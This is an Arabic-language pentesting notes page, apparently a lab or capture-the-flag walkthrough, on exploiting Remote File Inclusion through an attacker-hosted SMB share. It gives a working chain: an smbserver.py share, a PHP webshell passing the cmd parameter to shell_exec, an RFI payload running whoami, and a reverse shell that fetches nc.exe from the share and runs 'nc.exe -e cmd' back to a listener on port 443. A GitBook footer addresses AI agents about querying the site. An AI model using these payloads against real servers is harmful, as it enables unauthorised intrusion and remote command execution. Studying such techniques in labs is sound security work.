> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-remote-file-inclusion-rfi/rfi-smb-server-pentesting-web.md).

# خادم SMB لـ RFI

#### اختبار RFI عبر خادم ويب بعيد:

حاولنا رفع ملف بعيد عبر الرابط `?lang=http://10.10.14.3/index.html` مشيرًا إلى خادم الويب المحلي لدينا باستخدام Python3.

```bash
python3 -m http.server 80

```

```url
?lang=http://10.10.14.3/index.html

```

لكن هذا لم ينجح.

<figure><img src="/files/362eb62b0477eba17c7b9a2386d44b6a17332814" alt="" width="518"><figcaption></figcaption></figure>

**إنشاء خادم SMB:** أنشأنا خادم SMB محليًا باستخدام `smbserver.py` وقمنا بمشاركة الدليل الحالي:

```bash
smbserver.py share $(pwd) -smb2support

```

ثم حاولنا رفع ملف من خادم SMB عن طريق تعديل المعامل `lang`

```bash
?lang=/10.10.14.3/share/index.html

```

* هذه المرة، فسّر الخادم ملفنا بشكل صحيح `index.html`، مع عرض محتواه ("Hello World").

<figure><img src="/files/027419804029c48fe19e0afcf5035c8763209b8b" alt="" width="563"><figcaption></figcaption></figure>

**إنشاء ملف webshell PHP (`cmd.php)`** أنشأنا ملفًا `cmd.php` على خادم SMB الخاص بنا لتنفيذ الأوامر عن بُعد عبر المعامل `cmd`:

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>

```

**تنفيذ أمر عبر SMB**

```bash
//10.10.14.3/share/cmd.php&cmd=<command>

```

باستخدام الرابط أدناه، نفذنا الأمر `whoami`:

```bash
//10.10.14.3/share/cmd.php&cmd=whoami

```

<figure><img src="/files/3de3681a994e81cc2810c6f6c82e29e19ebe0aba" alt="" width="563"><figcaption></figcaption></figure>

### صدفة عكسية (nc.exe)

**تنزيل `nc.exe` لإجراء الصدفة العكسية:**/ استخرجنا `nc.exe` الملف الثنائي من أدوات fuzzing في `/usr/share/SecLists/Web-Shells/FuzzDB/nc.exe` وقمنا بنسخه إلى دليل العمل.

```bash
locate nc.exe
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .

```

**الاستماع على المنفذ 443:**/ قمنا بإعداد `nc` مستمع على المنفذ 443:

```bash
rlwrap nc -nvlp 443

```

**تنفيذ الصدفة العكسية عبر SMB:**/ ثم بدأنا صدفة عكسية موجّهة عبر المعامل `cmd` إلى ملفنا

```
?lang=//10.10.14.3/share/cmd.php&cmd=//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 443

```

وبذلك حصلنا على صدفة عكسية إلى جهازنا.

<figure><img src="/files/13c234f58ef04f67f221ff5ca745a9703396fa05" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-remote-file-inclusion-rfi/rfi-smb-server-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
